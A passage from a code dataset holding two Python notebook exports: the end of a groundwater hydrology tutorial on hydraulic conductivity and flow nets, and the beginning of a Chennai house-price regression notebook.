row_start=0); \nips.column(3, passing_cumper, row_start=0); s3 \n\n\n# In[6]:\n\n\n# Plotting granulometric curve\n\nplt.rcParams['axes.linewidth']=2\nplt.rcParams['grid.linestyle']='--'\nplt.rcParams['grid.linewidth']=1\nx = np.append([20], Size[:5]) # adding for all left over.\ny = np.append([100],passing_cumper[:5])\nfig = plt.figure(figsize=(9,6));\nplt.plot(x, y, 'x-', color='red', lw=2.5); \ntics=x.tolist()\nplt.xscale('log');lw=2.5\nplt.grid(which='major', color='k', alpha=0.7) \nplt.grid(which='minor', color='k', alpha=0.3)\nplt.xticks(x, tics);  \nplt.yticks(np.arange(0,110,10));\n#plt.title('grain size distribution (combined wet sieving and sedimentation analysis)');\nplt.xlabel('grain size d [mm]');\nplt.ylabel('Cummulative Passed fraction %');\n\nplt.annotate('', xy=(0.20, 10),  xycoords='data', xytext=(0.045, 10), arrowprops=dict(arrowstyle='->', color=\"b\", lw=2.5),ha='right', va='top',)\nplt.annotate('', xy=(1.1, 60),  xycoords='data', xytext=(0.045, 60), arrowprops=dict(arrowstyle='->', color=\"b\", lw=2.5),ha='right', va='top',)\nplt.annotate(r'$d_{60}$', xy=(1, 60),  xycoords=\"data\", xytext=(0.85, -3),color='red',size=12, arrowprops=dict(arrowstyle='<-', color=\"b\", lw=2.5),ha='left', va='bottom',)\nplt.annotate(r'$d_{10}$', xy=(0.20, 10),  xycoords='data', xytext=(0.235, 1.5),color='red',size=12, arrowprops=dict(arrowstyle='<-', color=\"b\", lw=2.5),ha='right', va='top',)\nplt.rcParams[\"font.weight\"] = \"bold\"   \n\nplt.savefig(\"fig6.png\")\n\nmpl_pane = pn.pane.Matplotlib(fig, dpi=144)\n\n\n# In[7]:\n\n\n# From the figure\nd_10 = 0.22 # mm,approx, diameter 10% passing, see the arrow bottom in x-axis\nd_60 = 1.0 # mm, approx diameter 10% passing, see the arrow bottom in x-axis\n\nc_u = d_60/d_10 # [], coefficient of uniformity\n\n#Output\nprint(\"The coefficient of uniformity is: {0:1.1f}\".format(c_u)) \nr2_1 = pn.pane.Markdown(\"\"\"\n**Major constituents: coarse sand/medium sand** \"\"\", width=600, style={'font-size': '13pt', 'color': 'blue'} )\npn.Row(r2_1) \n\n\n# In[8]:\n\n\n# Tutorial Problem 11- Effective Conductivity and flow nets\nr5_1 = pn.pane.Markdown(\"\"\"\n#Tutorial Problems on Effective Conductivity and Flow Nets\n\"\"\", width = 900) \n\nr5_2 = pn.pane.Markdown(\"\"\"\n###Tutorial Problem 11: Effective Hydraulic Conductivity\nA sandy layer with a thickness of 2.5 m is embedded between two gravel layers. B\noth gravel layers have a thickness of 1.5 m and a hydraulic conductivity of 3.7\u00b710<sup>-3</sup> m/s. \nSteady-state groundwater flow is in parallel to the layering. \nA hydraulic gradient of 0.001 and an overall discharge of 1 m\u00b3/d per unit width have been determined.\n<br><br>\na. Determine the effective hydraulic conductivity.<br><br>\nb. What is the hydraulic conductivity of the sand layer?<br><br>\nc. Which effective hydraulic conductivity would be obtained if flow was assumed perpendicular to the layering?<br><br>\nd. Calculate effective hydraulic conductivity if the angle between the flow direction and the layering equals 45\u00b0.\n\"\"\", style={'font-size': '13pt'})\n\npn.Column(r5_1, r5_2)  \n\n\n# In[9]:\n\n\n# Solution of Problem 11\nr5_3 = pn.pane.PNG(\"images/T03_TP11_a.png\", width=400)\nr5_4 = pn.pane.LaTeX(r\"\"\"\nKnown relationships are (see Lecture 05, Slides 8-13, 22):\n$$\nQ = WmK\\frac{\\Delta H}{L}\n$$\n$$\nK = \\frac{Q/W}{m\\cdot \\Delta H \\cdot L}\n$$\nWeighted arithmetic mean to determine hydraulic conductivity for sand:\n\n$$\nK = \\frac{1}{m}\\sum_{i=1}^n m_i\\cdot K_i\n$$\nwhere $i$ is different layers\n\"\"\", width = 500, style={'font-size': '13pt'})\nspacer2 = pn.Spacer(width=100)\n\npn.Row(r5_3, spacer2, r5_4)  \n\n\n# In[10]:\n\n\n#Given Solution of 11 a, b\n\nQ = 2 # m^3/d, discharge\nW = 1 # m, per unit width\nK_g = 3.7*1E-3# m/s, conductivity of gravel layer \nm_g = 1.5 # m, thickness of gravel layer\nm_s = 2.5 # m, thickness of sand layer\nm = 2*m_g + m_s # m. total thickness of aquifer\nDh_L = 0.001 # (-), hydraulic gradient\n\n\n#Solution of 11a\nKeff_h = (Q/W)/(m*Dh_L) # m/d, conductivity\nKeff_hs = Keff_h/(24*3600)# m/s, conductivity unit changed\n\n#Solution of 11b\n# K_eff = (2*m_g*K_g + m_s*K_g)/m\n\nK_s = ((m*Keff_hs - 2*m_g*K_g))/m_s  \n\nprint(\"Effective horizontal hydraulic conductivity (Keff_h) = {0:1.2f}\".format(Keff_h), \"m/d\\n\" ) \nprint(\"Effective horizontal hydraulic conductivity (Keff_hs) = {0:1.3E}\".format(Keff_hs), \"m/s\\n\" )\nprint(\"Hydraulic conductivity of sand layer (K_s) = {0:1.1E}\".format(K_s), \"m/s\" )     \n\n\n# In[11]:\n\n\n#Given Solution of 11 c, d\n\nr5_5 = pn.pane.PNG(\"images/T03_TP11_b.png\", width=200) \nr5_6 = pn.pane.PNG(\"images/T03_TP11_c.png\", width=200) \n\nr5_7 = pn.Column(r5_5, r5_6) \n\nr5_8 = pn.pane.LaTeX(r\"\"\"\nVertical effective conductivity is given by weighted harmoninc mean\n$$\nK = \\frac{m}{2\\cdot \\frac{m_g}{K_g} + \\frac{m_s}{K_s} }\n$$\n<br>\nFor inclined aquider the effective conductivity is:\n\n$$\nK = \\frac{1}{\\frac{\\cos^2\\theta}{K_h} + \\frac{\\sin^2\\theta}{K_v}}\n$$\n\n\"\"\", style={'font-size': '13pt'})\n\npn.Row(r5_7,spacer2, r5_8) \n\n\n# In[12]:\n\n\n# Solution of 11c\n\nKeff_v = m/(2*(m_g/K_g)+ (m_s/K_s))\n\n#Given \ntheta = 45 # theta \ntheta_r = 45*(np.pi)/180 # degree to radian conversion\nK_h = Keff_hs # m/s, solution from 11a\nK_v = Keff_v # m/s, solution from 11c\n\n# solution from 11d\nKeff_i = 1/((np.cos(theta_r)**2/K_h)+(np.sin(theta_r)**2/K_v))\n\n\nprint(\"Effective vertical hydraulic conductivity (Keff_v) = {0:1.2E}\".format(Keff_v), \"m/s\\n\" ) \nprint(\"Effective inclined hydraulic conductivity (Keff_i) = {0:1.2E}\".format(Keff_i), \"m/s\" ) \n\n\n# In[13]:\n\n\n#\nr6_1 = pn.pane.Markdown(\"\"\"\n### Tutorial Problem 12: Hydrologic Triangle\nThe figure below shows the position of four groundwater observation wells with measured hydraulic heads in m a.s.l. \n<br> <br>\n**a.** Sketch head isolines for intervals of 1 m by applying the hydrologic triangle method.<br><br>\n**b.** Indicate the flow direction.\n\n\"\"\",width = 400, style={'font-size': '13pt'})\n\nr6_2 = pn.pane.PNG(\"images/T03_TP12_a.png\", width=400) \n\npn.Row(r6_1,spacer2, r6_2) \n\n\n# In[14]:\n\n\n# \nr6_3 = pn.pane.Markdown(\"\"\"\n### Solution of Tutotrial Problem 12\n\nStep 1. Connects all the points\n\"\"\", width=600)\n\nr6_2.object = \"images/T03_TP12_b.png\"\nr6_3\n\n\n# In[15]:\n\n\n#\nr6_4 = pn.pane.Markdown(\"\"\"\n### Solution of Tutotrial Problem 12\nStep 2. Divide the connected lines at equal head-level (here = 1 m)\n\"\"\", width=600)\nr6_2.object = \"images/T03_TP12_c.png\"\n\n\n# In[16]:\n\n\n#\nr6_4 = pn.pane.Markdown(\"\"\"\n### Solution of Tutotrial Problem 12\nStep 3. Join all the equal head lines \n\"\"\", width=600)\nr6_2.object = \"images/T03_TP12_d.png\"\n\n\n# In[17]:\n\n\nr6_4 = pn.pane.Markdown(\"\"\"\n### Solution of Tutotrial Problem 12\nStep 4. Mark the flow direction from higher head towards lower head\n\"\"\", width=600)\nr6_2.object = \"images/T03_TP12_e.png\"\n\n\n# In[18]:\n\n\n#\nr7_1 = pn.pane.Markdown(\"\"\"\n##Tutorial Problem 13: Flow Nets##\n\nSketch head isolines and streamlines for the two configurations a) and b) of a well doublette shown below. In both cases flow nets should be sketched without and with the uniform flow component.\n\n\"\"\",width=800,  style={'font-size': '13pt'})\n\nr7_2 = pn.pane.Markdown(\"\"\"\n a) withdrawal at both wells:<br><br><br>\n\"\"\",width=400,  style={'font-size': '13pt'})\n\nr7_3 = pn.pane.PNG(\"images/T03_TP13_a.png\", width=200)  \n\nr7_4 = pn.Column(r7_2,r7_3)\n\nr7_5 = pn.pane.Markdown(\"\"\"\n b) Injection and withdrawl wells:<br><br><br>\n\"\"\",width=400,  style={'font-size': '13pt'})\n\nr7_6 = pn.pane.PNG(\"images/T03_TP13_b.png\", width=200)  \n\nr7_7 = pn.Column(r7_5,r7_6)\nr7_8 = pn.Row(r7_4, r7_7) \npn.Column(r7_1, r7_8) \n\n\n# In[19]:\n\n\nr8_1= pn.pane.Markdown(\"\"\"\n#Homework Problems on  Effective Conductivity and Flow Nets <br><br><br> \n\"\"\", width = 800, style={'font-size': '13pt'})\n\n\nr8_2= pn.pane.Markdown(\"\"\"\n#There is no obligation to solve homework problems!\n\"\"\", width = 800, style={'font-size': '13pt', 'color':'red'})\n\npn.Column(r8_1,r8_2)  \n\n\n# In[20]:\n\n\n#\nr9_1= pn.pane.Markdown(\"\"\"\n###Homework Problem 5: Effective Hydraulic Conductivity\nA gravel layer with a thickness of 2.5 m is embedded between two sand layers. Both sand layers have a thickness of \n1.5 m and a hydraulic conductivity of 3.7\u00b710<sup>-4</sup> m/s. Steady-state groundwater flow is perpendicular to the layering. \nAn overall head difference of 5.5 cm and a discharge of 500 l/d per unit area have been determined <br><br>\n\n**a.** Determine the effective hydraulic conductivity.<br><br>\n**b.** What is the hydraulic conductivity of the gravel layer?<br><br>\n**c.** Which effective hydraulic conductivity would be obtained if flow was assumed to be in parallel with the layering?<br><br>\n**d.** Calculate effective hydraulic conductivity if the angle between the flow direction and the layering equals 30\u00b0. <br>\n\n\"\"\", width = 900, style={'font-size': '13pt'})\nr9_1\n\n\n# In[21]:\n\n\n#\nr10_1= pn.pane.Markdown(\"\"\"\n###Homework Problem 6: Hydrologic Triangle\nThe figure below shows the position of five groundwater observation wells with measured hydraulic heads in m a.s.l. \n <br><br>\n\n**a.** Sketch head isolines for intervals of 1 m by applying the hydrologic triangle method.\n<br><br>\n**b.** Indicate the flow direction.<br><br>\n\"\"\", width = 500, style={'font-size': '13pt'})\nr10_2 = pn.pane.PNG(\"images/T03_TH6.png\", width=400)  \n\npn.Row(r10_1, r10_2)\n\n\n# In[22]:\n\n\n#\nr11_1= pn.pane.Markdown(\"\"\"\n###Homework Problem 7: Flow Nets\nSketch head isolines and streamlines for the well doublette shown below. \nIn this case, injection and withdrawal of groundwater is superimposed to a uniform flow component.\n <br><br><br><br><br><br>\n \"\"\", width = 900, style={'font-size': '13pt'})\n\nr11_2 = pn.pane.PNG(\"images/T03_TH7.png\", width=400)  \n\nr11_3= pn.pane.Markdown(\"\"\"\n <br><br><br><br><br><br>\n \"\"\", width = 900, style={'font-size': '13pt'})\npn.Column(r11_1, r11_2, r11_3)\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "ea2d82dc51744293901c04c7e3a034e6caa9d692", "size": 12850, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/contents/tutorials/Tutorial_04.py", "max_stars_repo_name": "prabhasyadav/iGW-I", "max_stars_repo_head_hexsha": "eba32830f32f1109a7bee600c65832af0e7183fa", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "_build/jupyter_execute/contents/tutorials/Tutorial_04.py", "max_issues_repo_name": "prabhasyadav/iGW-I", "max_issues_repo_head_hexsha": "eba32830f32f1109a7bee600c65832af0e7183fa", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/contents/tutorials/Tutorial_04.py", "max_forks_repo_name": "prabhasyadav/iGW-I", "max_forks_repo_head_hexsha": "eba32830f32f1109a7bee600c65832af0e7183fa", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.9957983193, "max_line_length": 194, "alphanum_fraction": 0.6823346304, "include": true, "reason": "import numpy,from scipy", "num_tokens": 4220, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.1801066618860355, "lm_q1q2_score": 0.0865374108106237}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"chennai_house_price_prediction_final_ipython_notebook_for_github_project_gallery_insaid.ipynb\n\nAutomatically generated by Colaboratory.\n\nOriginal file is located at\n    https://colab.research.google.com/drive/15gfBJ9NTYi51RPMMZzKU6VgGnQqLlmdr\n\n<p align=\"center\"><img src=\"https://github.com/insaid2018/Term-1/blob/master/Images/INSAID_Full%20Logo.png?raw=true\" width=\"260\" height=\"110\" /></p>\n\n----\n# **Table of Contents**\n----\n\n**1.** [**Problem Statement**](#section1)<br>\n\n**2.** [**Installing and Importing Packages**](#section2)<br>\n  - **2.1** [**Description of the Dataset**](#section301)<br>\n  - **2.2** [**Upgrading Libraries**](#section302)<br>\n  - **2.2** [**Importing Libraries**](#section302)<br>\n\n**3.** [**Loading Data**](#section3)<br>\n\n**4.** [**Data Acquistititon and Description**](#section4)<br>\n  - **4.1** [**Description of the Dataset**](#section401)<br>\n  - **4.2** [**Data Cleaning**](#section40201)<br>\n\n**5.** [**Data Pre-Processing**](#section6)<br>\n  - **5.1** [**Pre-Profiling Report**](#section401)<br>\n  - **5.2** [**Data Information**](#section40201)<br>\n\n**6.** [**Exploratory Data Analysis**](#section7)<br>\n  - **6.1** [**Univariate Analysis**](#section401)<br>\n  - **6.2** [**Bivariate Analysis**](#section40201)<br>\n  \n**7.** [**Data Postprocessing**](#section8)\n  - **7.1** [**Encoding Categorical Variables**](#section401)<br>\n  - **7.2** [**Feature Engineering**](#section40201)<br>\n  - **7.3** [**Separating Train and Test Data**](#section40201)<br>\n\n**8.** [**Modelling**](#section8)\n  - **8.1** [**Defining Baseline Models**](#section401)<br>\n  - **8.2** [**Hyperparameter Tuning**](#section40201)<br>\n\n**9.** [**Test Set**](#section8)\n\n**10.** [**Conclusion**](#section8)\n\n---\n# **1. Problem Statement:-**\n---\n\n- **ChennaiEstate** is a **real estate firm** based in **Chennai** that is involved in the property business for the past 5 years.\n\n- Since, they are in the business for so long, they have enough data of all the real estate transactions in the city.\n\n- They decided to venture into Analytics and have now started a division called **Chennai Estate Analytics** to give consumers as much information as possible about housings and the real estate market in Chennai.\n\n-  A home is often the largest and most expensive purchase a person makes in his or her lifetime. Ensuring real-estate owners have a\ntrusted way to monitor the asset is incredibly important.\n\n-  Hence, they have hired you as a consultant to help them give insights and develop a model to accurately predict real estate prices.\n\n- Based on the **train** dataset, you will need to develop a model that accurately predicts the real estate price in **Chennai**.\n\n<center><img src = \"https://therealdeal.com/national/wp-content/uploads/2021/03/CoreLogic-Home-Price-Reports-Highest-Growth-Since-2013.gif\"></center>\n\n### **Scenario**\n\n- You are given a dataset consisting of **required details** \n\n- Your task is to build a **regression model** using the dataset\n\n- Because there was **no machine learning model for this problem** in the company, you don\u2019t have a quantifiable win condition. You need to build the best possible model\n\n<a name=section2></a>\n\n---\n# **2. Importing Libraries**\n---\n\"\"\"\n\nimport sys                                                       # Importing System\n!{sys.executable} -m pip install -U pandas-profiling[notebook]   # Installing pandas profiling\n!jupyter nbextension enable --py widgetsnbextension              # enabling python notebook extention\n\n!pip install pandas-profiling -q --upgrade                          # Installing pandas profiling  \n!pip install catboost -q                                            # Intalling Catboost regressor  \n!pip install xgboost -q                                             # Intalling XGboost regressor\n\n\"\"\"<a name = Section22></a>\n### **2.2 Upgrading Libraries**\n\n- **After upgrading** the libraries, you need to **restart the runtime** to make the libraries in sync. \n\n- Make sure not to execute the cell above (2.1) and below (2.2) again after restarting the runtime.\n\"\"\"\n\n!pip install pandas-profiling -q --upgrade                          # upgrading pandas profiling\n\n\"\"\"<a name = Section23></a>\n### **2.3 Importing Libraries**\n- After the **installation** and **upgrading of all the libraries** we will now import the necessary libraries.\n\"\"\"\n\n# Commented out IPython magic to ensure Python compatibility.\n#-------------------------------------------------------------------------------------------------------------------------------\n\nimport matplotlib.pyplot as plt                                     # Importing pyplot for visualization\n# %matplotlib inline\n\n#----------------------------------------------------------------------------------------------\nimport seaborn as sns\n#-------------------------------------------------------------------------------------------------------------------------------\nimport pandas as pd                                                 # Importing for panel data analysis\nfrom pandas_profiling import ProfileReport                          # Importing Pandas Profiling (To generate Univariate Analysis)\npd.set_option('display.max_columns', None)                          # Unfolding hidden features if the cardinality is high\npd.set_option('display.max_colwidth', None)                         # Unfolding the max feature width for better clearity\npd.set_option('display.max_rows', None)                             # Unfolding hidden data points if the cardinality is high\npd.set_option('mode.chained_assignment', None)                      # Removing restriction over chained assignments operations\npd.set_option('display.float_format', lambda x: '%.5f' % x)         # To suppress scientific notation over exponential values\n#-------------------------------------------------------------------------------------------------------------------------------\nimport numpy as np                                                  # Importing package numpys (For Numerical Python)\nfrom datetime import datetime as dt                                 # For datetime funcationality\nimport warnings                                                     # Importing warning to disable runtime warnings\nwarnings.filterwarnings(\"ignore\")                                   # Warnings will appear only once\n#-------------------------------------------------------------------------------------------------------------------------------\nfrom sklearn import metrics                                         # Calling the metrics for calculating performence metrics\nfrom sklearn import preprocessing                                   # Calling preprocessing for preprocessing of data\nfrom sklearn.preprocessing import StandardScaler                    # Calling standardscaler for standerdization\n#-------------------------------------------------------------------------------------------------------------------------------\nfrom sklearn.svm import SVR                                         # Calling Support Vector Regressor for modelling\nfrom sklearn.decomposition import PCA                               # Calling PCA for dimentionality reduction\nfrom sklearn.metrics import make_scorer                             # Calling make_scorer for calculating score\nfrom sklearn.metrics import mean_squared_error                      # Calling sean_squared_error for calculating mean squared error\nimport zipfile                                                      # Importing zipfile\n#-------------------------------------------------------------------------------------------------------------------------------\nfrom scipy import stats                                             # Importing stats from scipy\nfrom scipy.stats import norm                                        # Importing norm\n#-------------------------------------------------------------------------------------------------------------------------------\nfrom sklearn.preprocessing import LabelEncoder, MinMaxScaler        # Importing Encoders\nfrom sklearn.linear_model import LinearRegression, Ridge, Lasso     # Importing Linear Regressors\nfrom sklearn.neighbors import KNeighborsRegressor                   # Importing KNN\nfrom sklearn.ensemble import RandomForestRegressor                  # Importing Random Forest Regressor\nfrom sklearn.ensemble import BaggingRegressor                       # Importing Bagging Regressor\nfrom sklearn.ensemble import GradientBoostingRegressor              # Importing GradientBoostingRegressor\nfrom sklearn.tree import DecisionTreeRegressor                      # Importing DecissionTreeeRegressor\nfrom catboost import CatBoostRegressor                              # Importing CatBoostRegressor\nfrom xgboost import XGBRegressor                                    # Importing XGBoost Regressor\n#-------------------------------------------------------------------------------------------------------------------------------\nfrom sklearn.model_selection import train_test_split                # Calling train_test_split for splitinng the dataset \nfrom sklearn.model_selection import RandomizedSearchCV              # Calling RandomizedSearchCV for tuning the model\nfrom sklearn.model_selection import cross_val_score                 # Importing cross_val_score  \nfrom sklearn.model_selection import GridSearchCV                    # Importing GridsearchCV\n#-------------------------------------------------------------------------------------------------------------------------------\nfrom sklearn.metrics import mean_squared_error                      # Importing MSE\nfrom sklearn.metrics import r2_score                                # Importing R Squared\nfrom sklearn.metrics import mean_absolute_error                     # Importing MAE\n#-------------------------------------------------------------------------------------------------------------------------------\nimport time                                                         # Importing time\nimport re                                                           # Importing RegEx  \nimport plotly.express as ex                                         # Importing Plotly Express for Dynamic Plotting\nimport plotly.graph_objs as go                                      # Importing Plotly graphs for Dynamic Plotting\nimport plotly.offline as pyo                                        # Importing offline Express for Dynamic Plotting\nfrom plotly.subplots import make_subplots                           # Importing Plotly Subplots to plot Dynamic subplots\nimport plotly.figure_factory as ff                                  # Calling the figure factory to create unique chart types\n\n\"\"\"----\n<a id=section3></a>\n# **3. Loading Data**\n----\n\n- In this step we will be **Loading the dataset**\n\"\"\"\n\ndata = pd.read_csv(\"/content/chennai_house_price_prediction.csv\")\n\ndata.head()\n\ndata.shape\n\n\"\"\"----\n<a id=section3></a>\n# **4. Data Acquistion and Description**\n----\n\n### **4.1 Description of the Dataset**\n- We have **71092 samples**  and for each of sample **19 different** properties are recorded.\n\"\"\"\n\ndata.describe()\n\n\"\"\"**Observation:**\n\n- The emean of the **SALES_PRICE** is found to be **10894909.63919** which is deviating from the std.\n\n<a name = Section42></a>\n### **4.2 Data Information**\n\n- In this section we will see the **information about the types of features**.\n\"\"\"\n\ndata.info()\n\n\"\"\"### **Observation:**\n\n- There are total **13 numerical data-type and 8 object type data files** recorded.\n\n<a name = Section5></a>\n\n---\n# **5. Data Pre-Processing**\n---\n\n<a name = Section51></a>\n### **5.1 Pre Profiling Report**\n\n- For **quick analysis** pandas profiling is very handy.\n\n- Generates profile reports from a pandas DataFrame.\n\n- For each column **statistics** are presented in an interactive HTML report.\n\"\"\"\n\nprofile = ProfileReport(df=data)\nprofile.to_file(output_file='Pre Profiling Report.html')\nprint('Accomplished!')\n\n\"\"\"<a name = Section5></a>\n### **5.2 Data Cleaning**\n\n- In this section, we will clean out our data based on the information retrieved from the previous observations.\n\n- Hence, we will have to perform thr following subtasks\n  - Checking for missing values and manipulating them\n  - Checking the datatype\n  - Spelling Correction\n\"\"\"\n\n# Checking for missing values and manipulating them\ndata.isnull().sum()\n\n#Checking the datatype\ndata.dtypes\n\n# Treating the missing values:-\ndata[\"QS_OVERALL\"] = data[\"QS_OVERALL\"].fillna(data[\"QS_OVERALL\"].mean())\ndata[\"N_BEDROOM\"] = data[\"N_BEDROOM\"].fillna(data[\"N_BEDROOM\"].mean())\ndata[\"N_BATHROOM\"] = data[\"N_BATHROOM\"].fillna(data[\"N_BATHROOM\"].mean())\n\ndata.isnull().sum()\n\n# Checking Value Counts:- \nfor i in data.columns:\n    print(\"************************************\")\n    print(\"The Value Count for \" + i + \" is :-\" )\n    print(data[i].value_counts())\n    print(\"************************************\")\n\n# Dropping PRT_ID:- \ndata = data.drop([\"PRT_ID\"],axis=1)\n\n# Replacing \"AREA\" with the respective values:\ndata[\"AREA\"].replace(to_replace = [\"Chrompt\",\"Chormpet\",\"Chrmpet\"], value =\"Chrompet\",inplace=True)\n\ndata[\"AREA\"].replace(to_replace=[\"Karapakam\",\"KKNagar\",\"Velchery\",\"Ana Nagar\",\"Ann Nagar\",\"Adyr\",\"TNagar\"], \n                     value=[\"Karapakkam\",\"KK Nagar\",\"Velachery\",\"Anna Nagar\",\"Anna Nagar\",\"Adyar\",\"T Nagar\"]  \n                    ,inplace=True)\n\ndata[\"AREA\"].value_counts()\n\npd.get_dummies(data[\"SALE_COND\"])\ndata[\"SALE_COND\"].replace(to_replace=[\"Adj Land\",\"Partiall\",\"PartiaLl\",\"Ab Normal\"], \n                     value=[\"AdjLand\",\"Partial\",\"Partial\",\"AbNormal\"]  \n                    ,inplace=True)\n\ndata[\"SALE_COND\"].value_counts()\n\ndata[\"SALE_COND\"].value_counts()\n\ndata.head()\n\ndata[\"PARK_FACIL\"].value_counts()\n\ndata[\"PARK_FACIL\"].replace(to_replace=[\"Noo\"],value = [\"No\"], inplace = True)\n\ndata[\"PARK_FACIL\"].value_counts()\n\ndata[\"BUILDTYPE\"].value_counts()\n\ndata[\"BUILDTYPE\"].replace(to_replace=[\"Comercial\",\"Other\"],value = [\"Commercial\",\"Others\"], inplace = True)\n\ndata[\"BUILDTYPE\"].value_counts()\n\ndata[\"UTILITY_AVAIL\"].value_counts()\n\ndata[\"UTILITY_AVAIL\"].replace(to_replace=[\"All Pub\"],value = [\"AllPub\"], inplace = True)\n\ndata[\"UTILITY_AVAIL\"].value_counts()\n\ndata[\"STREET\"].value_counts()\n\ndata[\"STREET\"].replace(to_replace = [\"Pavd\",\"NoAccess\"], value=[\"Paved\",\"No Access\"], inplace = True)\n\ndata[\"STREET\"].value_counts()\n\ndata[\"MZZONE\"].value_counts()\n\ndatatype = data.dtypes\n\ndatatype\n\n\"\"\"<a name = Section5></a>\n\n---\n# **6. Exploratory Data Analysis**\n---\n\n### **6.1 Univariate Analysis**\n\n- In this section we will see what information can be derived from each individual feature of the dataset.\n\n#### **Question:** What insights can be drawn from the categorical features ?\n\"\"\"\n\n# Commented out IPython magic to ensure Python compatibility.\nimport matplotlib.pyplot as plt\n# %matplotlib inline\nimport seaborn as sns\n\nfor i in data.columns:\n    if datatype[i] == 'object':\n        plt.figure(figsize = (10,5))\n        sns.barplot(x = data[i].value_counts().values,\n                    y = data[i].value_counts().index,\n                    orient = 'h')\n        plt.ylabel(i)\n\n\"\"\"**Observations:**\n\n- The freq of **RL** is maximum for **MZZONE**\n\n- **Paved** type streets has been reported maximum number of times.\n\n- **UTILITY_AVAIL** has **AllPub** recorded the maximum number of times.\n\n#### **Question:** What insights can be drawn from the numerical features ?\n\"\"\"\n\nfor i in data.columns:\n    if datatype[i] != 'object':\n        plt.figure(figsize = (10,5))\n        data[i].plot.hist(bins=50)\n        plt.xlabel(i)\n        plt.grid()\n\n\"\"\"### **6.2 Univariate Analysis**\n\n- In this section we will see what information can be derived from more than one features at a time. \n\"\"\"\n\n# data_bivariate= data.copy()\n\n\"\"\"#### **Question:** What is the relation in between **BUILDTYPE** and **PARK_FACIL** w.r.t average **SALES_PRICE**?\"\"\"\n\nimport seaborn as sns\nsns.set()\ntemp = data.groupby(['BUILDTYPE', 'PARK_FACIL']).SALES_PRICE.median()\ntemp.plot(kind = 'bar', stacked = True)\n\n\"\"\"#### **Question:** What is the deviation in **PARK_FACIL** w.r.t **SALES_PRICE**?\"\"\"\n\ntemp = data.groupby(['PARK_FACIL']).SALES_PRICE.mean()\ntemp_index = temp.index\ntemp_values = temp.values \nsns.barplot(temp_values,\n            temp_index,\n            orient = 'h')\nplt.grid()\n\n\"\"\"#### **Question:** How **SALE_PRICE** effects the **distance from main road**?\"\"\"\n\nplt.scatter(data['DIST_MAINROAD'],data['SALES_PRICE'])\n\n\"\"\"----\n<a id=section6></a>\n# **7. Data Postprocecssing**\n----\n\n<a name = Section71></a>\n### **7.1 Data encoding**\n\n- We will use **encode** the necessary features\n\"\"\"\n\n# OneHot Encode the Catagorical Variables\na,b,c,d,e,f = pd.get_dummies(data[\"AREA\"]),pd.get_dummies(data[\"PARK_FACIL\"]),pd.get_dummies(data[\"BUILDTYPE\"]),pd.get_dummies(data[\"UTILITY_AVAIL\"]),pd.get_dummies(data[\"STREET\"]),pd.get_dummies(data[\"MZZONE\"])\n\ny= pd.get_dummies(data[\"SALE_COND\"])\n\na.head()\n\nb.head()\n\nc.head()\n\nd.head()\n\ne.head()\n\nf.head()\n\n\"\"\"<a name = Section71></a>\n### **7.2 Feature genaration**\n\n- In this step we will use **genarate new features**\n\"\"\"\n\nfor i in range(len(a.columns)):\n    data.insert(0+i,a.columns[i],a[a.columns[i]])\nfor i in range(len(b.columns)):\n    data.insert(11+i,b.columns[i],b[b.columns[i]])\nfor i in range(len(c.columns)):\n    data.insert(12+i,c.columns[i],c[c.columns[i]])\nfor i in range(len(d.columns)):\n    data.insert(13+i,d.columns[i],d[d.columns[i]])\nfor i in range(len(e.columns)):\n    data.insert(14+i,e.columns[i],e[e.columns[i]])\nfor i in range(len(f.columns)):\n    data.insert(15+i,f.columns[i],f[f.columns[i]])\n\nfor i in range(len(y.columns)):\n    data.insert(7+i,y.columns[i],y[y.columns[i]])\n\n\"\"\"<a name = Section71></a>\n### **7.2 Feature Dropping**\n\n- In this step we will use **genarate new features**\n\"\"\"\n\n# Dropping unnecessary features\ndata.drop(['AREA','SALE_COND','PARK_FACIL', 'BUILDTYPE', 'UTILITY_AVAIL', 'STREET', 'MZZONE'], axis=1 , inplace= True)\n\ndata.head()\n\n\"\"\"<a name = Section72></a>\n### **7.4 Feature Extraction**\n\n- We will seperate the dataframe into train and validation sets.\n\n- We will **seperate** the train set into X (independent) and y (dependent) dataframes.\n\n- Finally, we will apply **train-test split** on the scaled data.\n\"\"\"\n\nx= data.drop([\"SALES_PRICE\"],axis=1)\ny= data[\"SALES_PRICE\"]\n\n\"\"\"<a id=section7></a>\n\n---\n# **8. Model Building**\n---\n\n### **8.1 Defining Baseline Models**\n- In this section we will define all of the **best possible basine models** and train using the **training data**\n\"\"\"\n\n# Defining the scores list\nmodel_scores = []\n\n# Defining a list of useful regressors\nregressors = [RandomForestRegressor(random_state=42), \n              KNeighborsRegressor(),\n              GradientBoostingRegressor(random_state=42),\n              CatBoostRegressor(random_state=42),\n              XGBRegressor(random_state=42),\n              BaggingRegressor(random_state=42)]\n\n\"\"\"### **8.2 Splitting training and Testing Data**\n- In this section we will make the **train** and the **test** data.\n\"\"\"\n\nX_train, X_test, y_train, y_test = train_test_split(x, y,\n                                                    test_size = 0.25,\n                                                    random_state = 42)\n\nfor reg in regressors:\n  # Extracting model name\n  model_name = type(reg).__name__\n\n  # Fit the model on train data\n  reg.fit(X_train, y_train)\n\n  # Make predictions using train data\n  y_train_pred = reg.predict(X_train)\n\n  # Make predictions using test data\n  y_pred = reg.predict(X_test)\n\n  # Calculate train rmse of the model\n  reg_train_rmse = np.sqrt(mean_squared_error(y_train, y_train_pred))\n\n  # Calculate test rmse of the model\n  reg_test_rmse = np.sqrt(mean_squared_error(y_test, y_pred))\n  \n  # Calculating train R2 Score\n  reg_train_r2 = r2_score(y_train, y_train_pred)\n\n  # Calculating test R2 Score\n  reg_test_r2 = r2_score(y_test, 